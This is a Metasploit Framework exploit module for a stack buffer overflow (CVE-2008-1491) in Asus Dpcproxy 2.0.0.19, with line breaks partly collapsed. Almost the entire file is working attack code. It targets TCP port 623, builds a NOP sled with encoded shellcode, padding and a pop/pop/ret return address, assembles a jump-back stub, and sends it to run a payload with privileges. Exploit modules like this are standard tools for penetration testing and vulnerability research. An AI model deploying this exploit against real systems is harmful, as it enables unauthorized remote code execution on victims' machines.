### $Id: asus_dpcproxy_overflow.rb 9583 2010-06-22 19:11:05Z todb $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,'Name' => 'Asus Dpcproxy Buffer Overflow','Description'=> %q{
This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
It should be vulnerable until version 2.0.0.24.
Credit to Luigi Auriemma
},'Author' => 'Jacopo Cervini','Version'=> '$Revision: 9583 $','References' =>
[['CVE','2008-1491'],['OSVDB','43638'],['BID','28394'],],'DefaultOptions' =>
{'EXITFUNC' => 'process',},'Payload'=>
{'Space'=> 400,'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",},'Platform' => 'win','Targets'=>
[['Asus Dpcroxy version 2.00.19 Universal',{'Ret' => 0x0040273b }],# p/p/r],'Privileged' => true,'DefaultTarget'=> 0,'DisclosureDate' => 'Mar 21 2008'))
register_options([Opt::RPORT(623)], self.class)end
def exploit
connect
sploit = make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
sploit << Rex::Arch::X86.jmp_short(6)+ make_nops(2)
sploit << [target.ret].pack('V')+make_nops(8)+ Metasm::Shellcode.assemble(Metasm::Ia32.new,"add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
sploit << make_nops(50)
print_status("Trying target #{target.name}...")
sock.put(sploit)select(nil,nil,nil,3)# =(
handler
disconnect
endend